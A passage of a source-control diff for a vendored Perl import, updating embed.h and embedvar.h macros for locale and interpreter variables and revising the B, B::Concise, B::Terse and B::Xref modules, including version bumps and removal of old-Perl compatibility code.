 #define unshare_hek_or_pvn(a,b,c,d)	S_unshare_hek_or_pvn(aTHX_ a,b,c,d)
 #  endif
+#  if defined(PERL_IN_LOCALE_C)
+#define category_name		S_category_name
+#define restore_switched_locale(a,b)	S_restore_switched_locale(aTHX_ a,b)
+#define save_to_buffer		S_save_to_buffer
+#define switch_category_locale_to_template(a,b,c)	S_switch_category_locale_to_template(aTHX_ a,b,c)
+#    if defined(USE_LOCALE)
+#define new_collate(a)		S_new_collate(aTHX_ a)
+#define new_ctype(a)		S_new_ctype(aTHX_ a)
+#define new_numeric(a)		S_new_numeric(aTHX_ a)
+#define set_numeric_radix(a)	S_set_numeric_radix(aTHX_ a)
+#define stdize_locale(a)	S_stdize_locale(aTHX_ a)
+#      if defined(USE_POSIX_2008_LOCALE)
+#define emulate_setlocale	S_emulate_setlocale
+#      endif
+#      if defined(WIN32)
+#define win32_setlocale(a,b)	S_win32_setlocale(aTHX_ a,b)
+#      endif
+#    endif
+#  endif
 #  if defined(PERL_IN_LOCALE_C) || defined(PERL_IN_SV_C) || defined(PERL_IN_MATHOMS_C)
 #    if defined(USE_LOCALE_COLLATE)
 #define _mem_collxfrm(a,b,c,d)	Perl__mem_collxfrm(aTHX_ a,b,c,d)
@@ -1633,7 +1858,7 @@
 #define listkids(a)		S_listkids(aTHX_ a)
 #define looks_like_bool(a)	S_looks_like_bool(aTHX_ a)
 #define modkids(a,b)		S_modkids(aTHX_ a,b)
-#define move_proto_attr(a,b,c)	S_move_proto_attr(aTHX_ a,b,c)
+#define move_proto_attr(a,b,c,d)	S_move_proto_attr(aTHX_ a,b,c,d)
 #define my_kid(a,b,c)		S_my_kid(aTHX_ a,b,c)
 #define newGIVWHENOP(a,b,c,d,e)	S_newGIVWHENOP(aTHX_ a,b,c,d,e)
 #define newMETHOP_internal(a,b,c,d)	S_newMETHOP_internal(aTHX_ a,b,c,d)
@@ -1642,6 +1867,7 @@
 #define no_fh_allowed(a)	S_no_fh_allowed(aTHX_ a)
 #define op_integerize(a)	S_op_integerize(aTHX_ a)
 #define op_std_init(a)		S_op_std_init(aTHX_ a)
+#define optimize_op(a)		S_optimize_op(aTHX_ a)
 #define pmtrans(a,b,c)		S_pmtrans(aTHX_ a,b,c)
 #define process_special_blocks(a,b,c,d)	S_process_special_blocks(aTHX_ a,b,c,d)
 #define ref_array_or_hash(a)	S_ref_array_or_hash(aTHX_ a)
@@ -1738,7 +1964,6 @@
 #define amagic_cmp(a,b)		S_amagic_cmp(aTHX_ a,b)
 #define amagic_i_ncmp(a,b)	S_amagic_i_ncmp(aTHX_ a,b)
 #define amagic_ncmp(a,b)	S_amagic_ncmp(aTHX_ a,b)
-#define qsortsvu(a,b,c)		S_qsortsvu(aTHX_ a,b,c)
 #define sortcv(a,b)		S_sortcv(aTHX_ a,b)
 #define sortcv_stacked(a,b)	S_sortcv_stacked(aTHX_ a,b)
 #define sortcv_xsub(a,b)	S_sortcv_xsub(aTHX_ a,b)
@@ -1796,7 +2021,6 @@
 #define ao(a)			S_ao(aTHX_ a)
 #define check_uni()		S_check_uni(aTHX)
 #define checkcomma(a,b,c)	S_checkcomma(aTHX_ a,b,c)
-#define deprecate_commaless_var_list()	S_deprecate_commaless_var_list(aTHX)
 #define filter_gets(a,b)	S_filter_gets(aTHX_ a,b)
 #define find_in_my_stash(a,b)	S_find_in_my_stash(aTHX_ a,b)
 #define force_ident(a,b)	S_force_ident(aTHX_ a,b)
@@ -1806,13 +2030,13 @@
 #define force_version(a,b)	S_force_version(aTHX_ a,b)
 #define force_word(a,b,c,d)	S_force_word(aTHX_ a,b,c,d)
 #define get_and_check_backslash_N_name(a,b)	S_get_and_check_backslash_N_name(aTHX_ a,b)
-#define incline(a)		S_incline(aTHX_ a)
+#define incline(a,b)		S_incline(aTHX_ a,b)
 #define intuit_method(a,b,c)	S_intuit_method(aTHX_ a,b,c)
-#define intuit_more(a)		S_intuit_more(aTHX_ a)
+#define intuit_more(a,b)	S_intuit_more(aTHX_ a,b)
 #define lop(a,b,c)		S_lop(aTHX_ a,b,c)
-#define missingterm(a)		S_missingterm(aTHX_ a)
+#define missingterm(a,b)	S_missingterm(aTHX_ a,b)
 #define no_op(a,b)		S_no_op(aTHX_ a,b)
-#define parse_ident(a,b,c,d,e,f)	S_parse_ident(aTHX_ a,b,c,d,e,f)
+#define parse_ident(a,b,c,d,e,f,g)	S_parse_ident(aTHX_ a,b,c,d,e,f,g)
 #define pending_ident()		S_pending_ident(aTHX)
 #define scan_const(a)		S_scan_const(aTHX_ a)
 #define scan_formline(a)	S_scan_formline(aTHX_ a)
@@ -1838,7 +2062,7 @@
 #define isa_lookup(a,b,c,d)	S_isa_lookup(aTHX_ a,b,c,d)
 #  endif
 #  if defined(PERL_IN_UTF8_C)
-#define _to_utf8_case(a,b,c,d,e,f,g)	S__to_utf8_case(aTHX_ a,b,c,d,e,f,g)
+#define _to_utf8_case(a,b,c,d,e,f,g,h,i)	S__to_utf8_case(aTHX_ a,b,c,d,e,f,g,h,i)
 #define check_and_deprecate(a,b,c,d,e,f)	S_check_and_deprecate(aTHX_ a,b,c,d,e,f)
 #define check_locale_boundary_crossing(a,b,c,d)	S_check_locale_boundary_crossing(aTHX_ a,b,c,d)
 #define does_utf8_overflow	S_does_utf8_overflow
@@ -1845,8 +2069,8 @@
 #define isFF_OVERLONG		S_isFF_OVERLONG
 #define is_utf8_common(a,b,c,d)	S_is_utf8_common(aTHX_ a,b,c,d)
 #define is_utf8_common_with_len(a,b,c,d,e)	S_is_utf8_common_with_len(aTHX_ a,b,c,d,e)
-#define is_utf8_cp_above_31_bits	S_is_utf8_cp_above_31_bits
 #define is_utf8_overlong_given_start_byte_ok	S_is_utf8_overlong_given_start_byte_ok
+#define new_msg_hv(a,b,c)	S_new_msg_hv(aTHX_ a,b,c)
 #define swash_scan_list_line(a,b,c,d,e,f,g)	S_swash_scan_list_line(aTHX_ a,b,c,d,e,f,g)
 #define swatch_get(a,b,c)	S_swatch_get(aTHX_ a,b,c)
 #define to_lower_latin1		S_to_lower_latin1
@@ -1882,9 +2106,6 @@
 #define padname_dup(a,b)	Perl_padname_dup(aTHX_ a,b)
 #define padnamelist_dup(a,b)	Perl_padnamelist_dup(aTHX_ a,b)
 #  endif
-#  if defined(USE_LOCALE) && defined(PERL_IN_LOCALE_C)
-#define stdize_locale(a)	S_stdize_locale(aTHX_ a)
-#  endif
 #  if defined(USE_LOCALE_COLLATE)
 #define magic_setcollxfrm(a,b)	Perl_magic_setcollxfrm(aTHX_ a,b)
 #ifndef NO_MATHOMS
@@ -1932,9 +2153,6 @@
 #  define perl_get_sv(a,b)		get_sv(a,b)
 #  define perl_init_i18nl10n(a)		init_i18nl10n(a)
 #  define perl_init_i18nl14n(a)		init_i18nl14n(a)
-#  define perl_new_collate(a)		new_collate(a)
-#  define perl_new_ctype(a)		new_ctype(a)
-#  define perl_new_numeric(a)		new_numeric(a)
 #  define perl_require_pv(a)		require_pv(a)
 
 /* varargs functions can't be handled with CPP macros. :-(

Modified: vendor/perl/dist/embedvar.h
===================================================================
--- vendor/perl/dist/embedvar.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/embedvar.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -40,10 +40,6 @@
 #    define vTHX	PERL_GET_INTERP
 #  endif
 
-#define PL_AboveLatin1		(vTHX->IAboveLatin1)
-#define PL_Argv			(vTHX->IArgv)
-#define PL_Assigned_invlist	(vTHX->IAssigned_invlist)
-#define PL_Cmd			(vTHX->ICmd)
 #define PL_DBcontrol		(vTHX->IDBcontrol)
 #define PL_DBcv			(vTHX->IDBcv)
 #define PL_DBgv			(vTHX->IDBgv)
@@ -54,25 +50,15 @@
 #define PL_DBtrace		(vTHX->IDBtrace)
 #define PL_Dir			(vTHX->IDir)
 #define PL_Env			(vTHX->IEnv)
-#define PL_GCB_invlist		(vTHX->IGCB_invlist)
-#define PL_HasMultiCharFold	(vTHX->IHasMultiCharFold)
 #define PL_InBitmap		(vTHX->IInBitmap)
-#define PL_LB_invlist		(vTHX->ILB_invlist)
 #define PL_LIO			(vTHX->ILIO)
-#define PL_Latin1		(vTHX->ILatin1)
 #define PL_Mem			(vTHX->IMem)
 #define PL_MemParse		(vTHX->IMemParse)
 #define PL_MemShared		(vTHX->IMemShared)
-#define PL_NonL1NonFinalFold	(vTHX->INonL1NonFinalFold)
-#define PL_Posix_ptrs		(vTHX->IPosix_ptrs)
 #define PL_Proc			(vTHX->IProc)
-#define PL_SB_invlist		(vTHX->ISB_invlist)
 #define PL_Sock			(vTHX->ISock)
 #define PL_StdIO		(vTHX->IStdIO)
 #define PL_Sv			(vTHX->ISv)
-#define PL_UpperLatin1		(vTHX->IUpperLatin1)
-#define PL_WB_invlist		(vTHX->IWB_invlist)
-#define PL_XPosix_ptrs		(vTHX->IXPosix_ptrs)
 #define PL_Xpv			(vTHX->IXpv)
 #define PL_an			(vTHX->Ian)
 #define PL_argvgv		(vTHX->Iargvgv)
@@ -108,6 +94,7 @@
 #define PL_cryptseen		(vTHX->Icryptseen)
 #define PL_curcop		(vTHX->Icurcop)
 #define PL_curcopdb		(vTHX->Icurcopdb)
+#define PL_curlocales		(vTHX->Icurlocales)
 #define PL_curpad		(vTHX->Icurpad)
 #define PL_curpm		(vTHX->Icurpm)
 #define PL_curpm_under		(vTHX->Icurpm_under)
@@ -174,8 +161,11 @@
 #define PL_incgv		(vTHX->Iincgv)
 #define PL_initav		(vTHX->Iinitav)
 #define PL_inplace		(vTHX->Iinplace)
+#define PL_internal_random_state	(vTHX->Iinternal_random_state)
 #define PL_isarev		(vTHX->Iisarev)
 #define PL_known_layers		(vTHX->Iknown_layers)
+#define PL_langinfo_buf		(vTHX->Ilanginfo_buf)
+#define PL_langinfo_bufsize	(vTHX->Ilanginfo_bufsize)
 #define PL_last_in_gv		(vTHX->Ilast_in_gv)
 #define PL_last_swash_hv	(vTHX->Ilast_swash_hv)
 #define PL_last_swash_key	(vTHX->Ilast_swash_key)
@@ -186,6 +176,8 @@
 #define PL_lastgotoprobe	(vTHX->Ilastgotoprobe)
 #define PL_laststatval		(vTHX->Ilaststatval)
 #define PL_laststype		(vTHX->Ilaststype)
+#define PL_lc_numeric_mutex_depth	(vTHX->Ilc_numeric_mutex_depth)
+#define PL_locale_utf8ness	(vTHX->Ilocale_utf8ness)
 #define PL_localizing		(vTHX->Ilocalizing)
 #define PL_localpatches		(vTHX->Ilocalpatches)
 #define PL_lockhook		(vTHX->Ilockhook)
@@ -216,10 +208,11 @@
 #define PL_my_cxt_size		(vTHX->Imy_cxt_size)
 #define PL_na			(vTHX->Ina)
 #define PL_nomemok		(vTHX->Inomemok)
-#define PL_numeric_local	(vTHX->Inumeric_local)
 #define PL_numeric_name		(vTHX->Inumeric_name)
 #define PL_numeric_radix_sv	(vTHX->Inumeric_radix_sv)
 #define PL_numeric_standard	(vTHX->Inumeric_standard)
+#define PL_numeric_underlying	(vTHX->Inumeric_underlying)
+#define PL_numeric_underlying_is_standard	(vTHX->Inumeric_underlying_is_standard)
 #define PL_ofsgv		(vTHX->Iofsgv)
 #define PL_oldname		(vTHX->Ioldname)
 #define PL_op			(vTHX->Iop)
@@ -281,6 +274,8 @@
 #define PL_scopestack_name	(vTHX->Iscopestack_name)
 #define PL_secondgv		(vTHX->Isecondgv)
 #define PL_seen_deprecated_macro	(vTHX->Iseen_deprecated_macro)
+#define PL_setlocale_buf	(vTHX->Isetlocale_buf)
+#define PL_setlocale_bufsize	(vTHX->Isetlocale_bufsize)
 #define PL_sharehook		(vTHX->Isharehook)
 #define PL_sig_pending		(vTHX->Isig_pending)
 #define PL_sighandlerp		(vTHX->Isighandlerp)
@@ -299,7 +294,6 @@
 #define PL_stashpad		(vTHX->Istashpad)
 #define PL_stashpadix		(vTHX->Istashpadix)
 #define PL_stashpadmax		(vTHX->Istashpadmax)
-#define PL_statbuf		(vTHX->Istatbuf)
 #define PL_statcache		(vTHX->Istatcache)
 #define PL_statgv		(vTHX->Istatgv)
 #define PL_statname		(vTHX->Istatname)
@@ -318,11 +312,13 @@
 #define PL_sv_arenaroot		(vTHX->Isv_arenaroot)
 #define PL_sv_consts		(vTHX->Isv_consts)
 #define PL_sv_count		(vTHX->Isv_count)
+#define PL_sv_immortals		(vTHX->Isv_immortals)
 #define PL_sv_no		(vTHX->Isv_no)
 #define PL_sv_root		(vTHX->Isv_root)
 #define PL_sv_serial		(vTHX->Isv_serial)
 #define PL_sv_undef		(vTHX->Isv_undef)
 #define PL_sv_yes		(vTHX->Isv_yes)
+#define PL_sv_zero		(vTHX->Isv_zero)
 #define PL_sys_intern		(vTHX->Isys_intern)
 #define PL_taint_warn		(vTHX->Itaint_warn)
 #define PL_tainted		(vTHX->Itainted)
@@ -334,27 +330,13 @@
 #define PL_tmps_stack		(vTHX->Itmps_stack)
 #define PL_top_env		(vTHX->Itop_env)
 #define PL_toptarget		(vTHX->Itoptarget)
+#define PL_underlying_numeric_obj	(vTHX->Iunderlying_numeric_obj)
 #define PL_unicode		(vTHX->Iunicode)
 #define PL_unitcheckav		(vTHX->Iunitcheckav)
 #define PL_unitcheckav_save	(vTHX->Iunitcheckav_save)
 #define PL_unlockhook		(vTHX->Iunlockhook)
 #define PL_unsafe		(vTHX->Iunsafe)
-#define PL_utf8_charname_begin	(vTHX->Iutf8_charname_begin)
-#define PL_utf8_charname_continue	(vTHX->Iutf8_charname_continue)
-#define PL_utf8_foldable	(vTHX->Iutf8_foldable)
-#define PL_utf8_foldclosures	(vTHX->Iutf8_foldclosures)
-#define PL_utf8_idcont		(vTHX->Iutf8_idcont)
-#define PL_utf8_idstart		(vTHX->Iutf8_idstart)
 #define PL_utf8_mark		(vTHX->Iutf8_mark)
-#define PL_utf8_perl_idcont	(vTHX->Iutf8_perl_idcont)
-#define PL_utf8_perl_idstart	(vTHX->Iutf8_perl_idstart)
-#define PL_utf8_swash_ptrs	(vTHX->Iutf8_swash_ptrs)
-#define PL_utf8_tofold		(vTHX->Iutf8_tofold)
-#define PL_utf8_tolower		(vTHX->Iutf8_tolower)
-#define PL_utf8_totitle		(vTHX->Iutf8_totitle)
-#define PL_utf8_toupper		(vTHX->Iutf8_toupper)
-#define PL_utf8_xidcont		(vTHX->Iutf8_xidcont)
-#define PL_utf8_xidstart	(vTHX->Iutf8_xidstart)
 #define PL_utf8cache		(vTHX->Iutf8cache)
 #define PL_utf8locale		(vTHX->Iutf8locale)
 #define PL_warn_locale		(vTHX->Iwarn_locale)
@@ -367,8 +349,32 @@
 
 #if defined(PERL_GLOBAL_STRUCT)
 
+#define PL_AboveLatin1		(my_vars->GAboveLatin1)
+#define PL_GAboveLatin1		(my_vars->GAboveLatin1)
+#define PL_Assigned_invlist	(my_vars->GAssigned_invlist)
+#define PL_GAssigned_invlist	(my_vars->GAssigned_invlist)
 #define PL_C_locale_obj		(my_vars->GC_locale_obj)
 #define PL_GC_locale_obj	(my_vars->GC_locale_obj)
+#define PL_GCB_invlist		(my_vars->GGCB_invlist)
+#define PL_GGCB_invlist		(my_vars->GGCB_invlist)
+#define PL_HasMultiCharFold	(my_vars->GHasMultiCharFold)
+#define PL_GHasMultiCharFold	(my_vars->GHasMultiCharFold)
+#define PL_LB_invlist		(my_vars->GLB_invlist)
+#define PL_GLB_invlist		(my_vars->GLB_invlist)
+#define PL_Latin1		(my_vars->GLatin1)
+#define PL_GLatin1		(my_vars->GLatin1)
+#define PL_NonL1NonFinalFold	(my_vars->GNonL1NonFinalFold)
+#define PL_GNonL1NonFinalFold	(my_vars->GNonL1NonFinalFold)
+#define PL_SB_invlist		(my_vars->GSB_invlist)
+#define PL_GSB_invlist		(my_vars->GSB_invlist)
+#define PL_SCX_invlist		(my_vars->GSCX_invlist)
+#define PL_GSCX_invlist		(my_vars->GSCX_invlist)
+#define PL_UpperLatin1		(my_vars->GUpperLatin1)
+#define PL_GUpperLatin1		(my_vars->GUpperLatin1)
+#define PL_WB_invlist		(my_vars->GWB_invlist)
+#define PL_GWB_invlist		(my_vars->GWB_invlist)
+#define PL_XPosix_ptrs		(my_vars->GXPosix_ptrs)
+#define PL_GXPosix_ptrs		(my_vars->GXPosix_ptrs)
 #define PL_appctx		(my_vars->Gappctx)
 #define PL_Gappctx		(my_vars->Gappctx)
 #define PL_check		(my_vars->Gcheck)
@@ -385,14 +391,22 @@
 #define PL_Gdollarzero_mutex	(my_vars->Gdollarzero_mutex)
 #define PL_fold_locale		(my_vars->Gfold_locale)
 #define PL_Gfold_locale		(my_vars->Gfold_locale)
+#define PL_hash_chars		(my_vars->Ghash_chars)
+#define PL_Ghash_chars		(my_vars->Ghash_chars)
 #define PL_hash_seed		(my_vars->Ghash_seed)
 #define PL_Ghash_seed		(my_vars->Ghash_seed)
 #define PL_hash_seed_set	(my_vars->Ghash_seed_set)
 #define PL_Ghash_seed_set	(my_vars->Ghash_seed_set)
+#define PL_hash_state		(my_vars->Ghash_state)
+#define PL_Ghash_state		(my_vars->Ghash_state)
 #define PL_hints_mutex		(my_vars->Ghints_mutex)
 #define PL_Ghints_mutex		(my_vars->Ghints_mutex)
 #define PL_keyword_plugin	(my_vars->Gkeyword_plugin)
 #define PL_Gkeyword_plugin	(my_vars->Gkeyword_plugin)
+#define PL_keyword_plugin_mutex	(my_vars->Gkeyword_plugin_mutex)
+#define PL_Gkeyword_plugin_mutex	(my_vars->Gkeyword_plugin_mutex)
+#define PL_lc_numeric_mutex	(my_vars->Glc_numeric_mutex)
+#define PL_Glc_numeric_mutex	(my_vars->Glc_numeric_mutex)
 #define PL_locale_mutex		(my_vars->Glocale_mutex)
 #define PL_Glocale_mutex	(my_vars->Glocale_mutex)
 #define PL_malloc_mutex		(my_vars->Gmalloc_mutex)
@@ -445,6 +459,36 @@
 #define PL_Gtimesbase		(my_vars->Gtimesbase)
 #define PL_use_safe_putenv	(my_vars->Guse_safe_putenv)
 #define PL_Guse_safe_putenv	(my_vars->Guse_safe_putenv)
+#define PL_utf8_charname_begin	(my_vars->Gutf8_charname_begin)
+#define PL_Gutf8_charname_begin	(my_vars->Gutf8_charname_begin)
+#define PL_utf8_charname_continue	(my_vars->Gutf8_charname_continue)
+#define PL_Gutf8_charname_continue	(my_vars->Gutf8_charname_continue)
+#define PL_utf8_foldable	(my_vars->Gutf8_foldable)
+#define PL_Gutf8_foldable	(my_vars->Gutf8_foldable)
+#define PL_utf8_foldclosures	(my_vars->Gutf8_foldclosures)
+#define PL_Gutf8_foldclosures	(my_vars->Gutf8_foldclosures)
+#define PL_utf8_idcont		(my_vars->Gutf8_idcont)
+#define PL_Gutf8_idcont		(my_vars->Gutf8_idcont)
+#define PL_utf8_idstart		(my_vars->Gutf8_idstart)
+#define PL_Gutf8_idstart	(my_vars->Gutf8_idstart)
+#define PL_utf8_perl_idcont	(my_vars->Gutf8_perl_idcont)
+#define PL_Gutf8_perl_idcont	(my_vars->Gutf8_perl_idcont)
+#define PL_utf8_perl_idstart	(my_vars->Gutf8_perl_idstart)
+#define PL_Gutf8_perl_idstart	(my_vars->Gutf8_perl_idstart)
+#define PL_utf8_tofold		(my_vars->Gutf8_tofold)
+#define PL_Gutf8_tofold		(my_vars->Gutf8_tofold)
+#define PL_utf8_tolower		(my_vars->Gutf8_tolower)
+#define PL_Gutf8_tolower	(my_vars->Gutf8_tolower)
+#define PL_utf8_tosimplefold	(my_vars->Gutf8_tosimplefold)
+#define PL_Gutf8_tosimplefold	(my_vars->Gutf8_tosimplefold)
+#define PL_utf8_totitle		(my_vars->Gutf8_totitle)
+#define PL_Gutf8_totitle	(my_vars->Gutf8_totitle)
+#define PL_utf8_toupper		(my_vars->Gutf8_toupper)
+#define PL_Gutf8_toupper	(my_vars->Gutf8_toupper)
+#define PL_utf8_xidcont		(my_vars->Gutf8_xidcont)
+#define PL_Gutf8_xidcont	(my_vars->Gutf8_xidcont)
+#define PL_utf8_xidstart	(my_vars->Gutf8_xidstart)
+#define PL_Gutf8_xidstart	(my_vars->Gutf8_xidstart)
 #define PL_veto_cleanup		(my_vars->Gveto_cleanup)
 #define PL_Gveto_cleanup	(my_vars->Gveto_cleanup)
 #define PL_watch_pvx		(my_vars->Gwatch_pvx)

Modified: vendor/perl/dist/ext/B/B/Concise.pm
===================================================================
--- vendor/perl/dist/ext/B/B/Concise.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/B/B/Concise.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,7 +14,7 @@
 
 use Exporter (); # use #5
 
-our $VERSION   = "0.999";
+our $VERSION   = "1.003";
 our @ISA       = qw(Exporter);
 our @EXPORT_OK = qw( set_style set_style_standard add_callback
 		     concise_subref concise_cv concise_main
@@ -30,7 +30,8 @@
 	 SVf_IOK SVf_NOK SVf_POK SVf_IVisUV SVf_FAKE OPf_KIDS OPf_SPECIAL
          OPf_STACKED
          OPpSPLIT_ASSIGN OPpSPLIT_LEX
-	 CVf_ANON PAD_FAKELEX_ANON PAD_FAKELEX_MULTI SVf_ROK);
+	 CVf_ANON CVf_LEXICAL CVf_NAMED
+	 PAD_FAKELEX_ANON PAD_FAKELEX_MULTI SVf_ROK);
 
 my %style =
   ("terse" =>
@@ -145,13 +146,14 @@
 
 sub concise_stashref {
     my($order, $h) = @_;
-    local *s;
+    my $name = svref_2object($h)->NAME;
     foreach my $k (sort keys %$h) {
 	next unless defined $h->{$k};
-	*s = $h->{$k};
-	my $coderef = *s{CODE} or next;
+	my $coderef = ref $h->{$k} eq 'CODE' ? $h->{$k}
+		    : ref\$h->{$k} eq 'GLOB' ? *{$h->{$k}}{CODE} || next
+		    : next;
 	reset_sequence();
-	print "FUNC: ", *s, "\n";
+	print "FUNC: *", $name, "::", $k, "\n";
 	my $codeobj = svref_2object($coderef);
 	next unless ref $codeobj eq 'B::CV';
 	eval { concise_cv_obj($order, $codeobj, $k) };
@@ -715,30 +717,47 @@
 	$hr->{svval} = "*$stash" . $gv->SAFENAME;
 	return "*$stash" . $gv->SAFENAME;
     } else {
-	if ($] >= 5.011) {
-	    while (class($sv) eq "IV" && $sv->FLAGS & SVf_ROK) {
-		$hr->{svval} .= "\\";
-		$sv = $sv->RV;
-	    }
-	} else {
-	    while (class($sv) eq "RV") {
-		$hr->{svval} .= "\\";
-		$sv = $sv->RV;
-	    }
+	while (class($sv) eq "IV" && $sv->FLAGS & SVf_ROK) {
+	    $hr->{svval} .= "\\";
+	    $sv = $sv->RV;
 	}
 	if (class($sv) eq "SPECIAL") {
-	    $hr->{svval} .= ["Null", "sv_undef", "sv_yes", "sv_no"]->[$$sv];
+	    $hr->{svval} .= ["Null", "sv_undef", "sv_yes", "sv_no",
+                             '', '', '', "sv_zero"]->[$$sv];
 	} elsif ($preferpv
-	      && ($sv->FLAGS & SVf_POK || class($sv) eq "REGEXP")) {
+	      && ($sv->FLAGS & SVf_POK)) {
 	    $hr->{svval} .= cstring($sv->PV);
 	} elsif ($sv->FLAGS & SVf_NOK) {
 	    $hr->{svval} .= $sv->NV;
 	} elsif ($sv->FLAGS & SVf_IOK) {
 	    $hr->{svval} .= $sv->int_value;
-	} elsif ($sv->FLAGS & SVf_POK || class($sv) eq "REGEXP") {
+	} elsif ($sv->FLAGS & SVf_POK) {
 	    $hr->{svval} .= cstring($sv->PV);
 	} elsif (class($sv) eq "HV") {
 	    $hr->{svval} .= 'HASH';
+	} elsif (class($sv) eq "AV") {
+	    $hr->{svval} .= 'ARRAY';
+	} elsif (class($sv) eq "CV") {
+	    if ($sv->CvFLAGS & CVf_ANON) {
+		$hr->{svval} .= 'CODE';
+	    } elsif ($sv->CvFLAGS & CVf_NAMED) {
+		$hr->{svval} .= "&";
+		unless ($sv->CvFLAGS & CVf_LEXICAL) {
+		    my $stash = $sv->STASH;
+		    unless (class($stash) eq "SPECIAL") {
+			$hr->{svval} .= $stash->NAME . "::";
+		    }
+		}
+		$hr->{svval} .= $sv->NAME_HEK;
+	    } else {
+		$hr->{svval} .= "&";
+		$sv = $sv->GV;
+		my $stash = $sv->STASH;
+		unless (class($stash) eq "SPECIAL") {
+		    $hr->{svval} .= $stash->NAME . "::";
+		}
+		$hr->{svval} .= $sv->SAFENAME;
+	    }
 	}
 
 	$hr->{svval} = 'undef' unless defined $hr->{svval};
@@ -912,10 +931,7 @@
 	$h{arg} = "($label$stash $cseq $loc)";
 	if ($show_src) {
 	    fill_srclines($pathnm) unless exists $srclines{$pathnm};
-	    # Would love to retain Jim's use of // but this code needs to be
-	    # portable to 5.8.x
-	    my $line = $srclines{$pathnm}[$ln];
-	    $line = "-src unavailable under -e" unless defined $line;
+	    my $line = $srclines{$pathnm}[$ln] // "-src unavailable under -e";
 	    $h{src} = "$ln: $line";
 	}
     } elsif ($h{class} eq "LOOP") {
@@ -1085,10 +1101,6 @@
 # number for the user's program as being a small offset later, so all we
 # have to worry about are changes in the offset.
 
-# [For 5.8.x and earlier perl is generating sequence numbers for all ops,
-#  and using them to reference labels]
-
-
 # When you say "perl -MO=Concise -e '$a'", the output should look like:
 
 # 4  <@> leave[t1] vKP/REFC ->(end)
@@ -1103,7 +1115,7 @@
 # to update the corresponding magic number in the next line.
 # Remember, this needs to stay the last things in the module.
 
-my $cop_seq_mnum = 16;
+my $cop_seq_mnum = 12;
 $cop_seq_base = svref_2object(eval 'sub{0;}')->START->cop_seq + $cop_seq_mnum;
 
 1;
@@ -1691,21 +1703,10 @@
 The sequence number of the OP. Note that this is a sequence number
 generated by B::Concise.
 
-=item B<#seqnum>
-
-5.8.x and earlier only. 5.9 and later do not provide this.
-
-The real sequence number of the OP, as a regular number and not adjusted
-to be relative to the start of the real program. (This will generally be
-a fairly large number because all of B<B::Concise> is compiled before
-your program is).
-
 =item B<#opt>
 
 Whether or not the op has been optimized by the peephole optimizer.
 
-Only available in 5.9 and later.
-
 =item B<#sibaddr>
 
 The address of the OP's next youngest sibling, in hexadecimal.

Modified: vendor/perl/dist/ext/B/B/Terse.pm
===================================================================
--- vendor/perl/dist/ext/B/B/Terse.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/B/B/Terse.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
 package B::Terse;
 
-our $VERSION = '1.07';
+our $VERSION = '1.08';
 
 use strict;
 use B qw(class @specialsv_name);
@@ -30,12 +30,6 @@
     return "    " x $level;
 }
 
-# Don't use this, at least on OPs in subroutines: it has no way of
-# getting to the pad, and will give wrong answers or crash.
-sub B::OP::terse {
-    carp "B::OP::terse is deprecated and will go away in Perl 5.28; use B::Concise instead";
-    B::Concise::b_terse(@_);
-}
 
 sub B::SV::terse {
     my($sv, $level) = (@_, 0);

Modified: vendor/perl/dist/ext/B/B/Xref.pm
===================================================================
--- vendor/perl/dist/ext/B/B/Xref.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/B/B/Xref.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
 package B::Xref;
 
-our $VERSION = '1.06';
+our $VERSION = '1.07';
 
 =head1 NAME
 
@@ -143,7 +143,7 @@
 use strict;
 use Config;
 use B qw(peekop class comppadlist main_start svref_2object walksymtable
-         OPpLVAL_INTRO SVf_POK OPpOUR_INTRO cstring
+         OPpLVAL_INTRO SVf_POK SVf_ROK OPpOUR_INTRO cstring
         );
 
 sub UNKNOWN { ["?", "?", "?"] }
@@ -331,7 +331,13 @@
     }
     else {
 	$gv = $op->gv;
-	$top = [$gv->STASH->NAME, "*", $gv->SAFENAME];
+	if ($gv->FLAGS & SVf_ROK) { # sub ref
+	    my $cv = $gv->RV;
+	    $top = [$cv->STASH->NAME, '*', B::safename($cv->NAME_HEK)]
+	}
+	else {
+	    $top = [$gv->STASH->NAME, '*', $gv->SAFENAME];
+	}
     }
     process($top, $op->private & OPpLVAL_INTRO ? "intro" : "used");
 }

Modified: vendor/perl/dist/ext/B/B.pm
===================================================================
--- vendor/perl/dist/ext/B/B.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/B/B.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,16 +6,21 @@
 #      License or the Artistic License, as specified in the README file.
 #
 package B;
-use strict;
 
-require Exporter;
 @B::ISA = qw(Exporter);
 
+# If B is loaded without imports, we do not want to unnecessarily pollute the stash with Exporter.
+sub import {
+    return unless scalar @_ > 1; # Called as a method call.
+    require Exporter;
+    B->export_to_level(1, @_);
+}
+
 # walkoptree_slow comes from B.pm (you are there),
 # walkoptree comes from B.xs
 
 BEGIN {
-    $B::VERSION = '1.68';
+    $B::VERSION = '1.74';
     @B::EXPORT_OK = ();
 
     # Our BOOT code needs $VERSION set, and will append to @EXPORT_OK.
@@ -43,12 +48,12 @@
 @B::IV::ISA = 'B::SV';
 @B::NV::ISA = 'B::SV';
 # RV is eliminated with 5.11.0, but effectively is a specialisation of IV now.
- at B::RV::ISA = $] >= 5.011 ? 'B::IV' : 'B::SV';
+ at B::RV::ISA = 'B::IV';
 @B::PVIV::ISA = qw(B::PV B::IV);
 @B::PVNV::ISA = qw(B::PVIV B::NV);
 @B::PVMG::ISA = 'B::PVNV';
- at B::REGEXP::ISA = 'B::PVMG' if $] >= 5.011;
- at B::INVLIST::ISA = 'B::PV'  if $] >= 5.019;
+ at B::REGEXP::ISA = 'B::PVMG';
+ at B::INVLIST::ISA = 'B::PV';
 @B::PVLV::ISA = 'B::GV';
 @B::BM::ISA = 'B::GV';
 @B::AV::ISA = 'B::PVMG';
@@ -74,13 +79,14 @@
 
 @B::SPECIAL::ISA = 'B::OBJECT';
 
